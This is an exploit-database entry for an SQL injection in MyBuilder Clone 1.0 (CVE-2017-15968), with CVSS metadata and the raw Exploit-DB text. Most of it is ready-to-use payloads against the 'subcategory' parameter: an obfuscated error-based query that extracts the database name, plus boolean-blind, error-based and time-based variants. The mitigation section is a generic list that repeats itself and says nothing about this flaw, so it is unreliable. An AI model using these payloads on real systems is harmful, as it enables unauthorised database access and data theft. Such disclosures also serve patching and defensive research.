MyBuilder Clone 1.0 - SQL Injection

vendor:

MyBuilder Clone

by:

Ihsan Sencan

9,8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: MyBuilder Clone

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: CVE-2017-15968

CPE: a:contractorscripts:mybuilder_clone:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2017

MyBuilder Clone 1.0 – SQL Injection

The vulnerability allows an attacker to inject sql commands. Proof of Concept: http://localhost/[PATH]/phpsqlsearch_genxml.php?subcategory=[SQL] 1'++aND(/*!09999sELeCT*/+0x30783331+/*!09999FrOM*/+(/*!09999SeLeCT*/+cOUNT(*),/*!09999CoNCaT*/((sELEcT(sELECT+/*!09999CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''=' Parameter: subcategory (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: subcategory=1' RLIKE (SELECT (CASE WHEN (9811=9811) THEN 1 ELSE 0x28 END))-- gzxz Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: subcategory=1' AND (SELECT 1213 FROM(SELECT COUNT(*),CONCAT(0x7162626a71,(SELECT (ELT(1213=1213,1))),0x716b6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qHTp Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: subcategory=1' OR SLEEP(5)-- RvzR

Mitigation:

Input validation and sanitization, use of prepared statements, use of stored procedures, use of parameterized queries, use of least privilege accounts, use of web application firewalls, use of secure coding practices, use of secure authentication and authorization methods, use of secure session management techniques, use of secure encryption algorithms, use of secure network protocols, use of secure data storage techniques, use of secure data transmission techniques, use of secure logging and auditing techniques, use of secure configuration management techniques, use of secure access control techniques, use of secure authentication and authorization methods, use of secure session management techniques, use of secure encryption algorithms, use of secure network protocols, use of secure data storage techniques, use of secure data transmission techniques, use of secure logging and auditing techniques, use of secure configuration management techniques, use of secure access control techniques.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: MyBuilder Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.contractorscripts.com/
# Software Link: http://order.contractorscripts.com/
# Demo: http://demo.contractorscripts.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15968
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/phpsqlsearch_genxml.php?subcategory=[SQL]
# 
# 1'++aND(/*!09999sELeCT*/+0x30783331+/*!09999FrOM*/+(/*!09999SeLeCT*/+cOUNT(*),/*!09999CoNCaT*/((sELEcT(sELECT+/*!09999CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
# 
# Parameter: subcategory (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: subcategory=1' RLIKE (SELECT (CASE WHEN (9811=9811) THEN 1 ELSE 0x28 END))-- gzxz
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: subcategory=1' AND (SELECT 1213 FROM(SELECT COUNT(*),CONCAT(0x7162626a71,(SELECT (ELT(1213=1213,1))),0x716b6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qHTp
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: subcategory=1' OR SLEEP(5)-- RvzR
# 	
# Etc..
# # # # #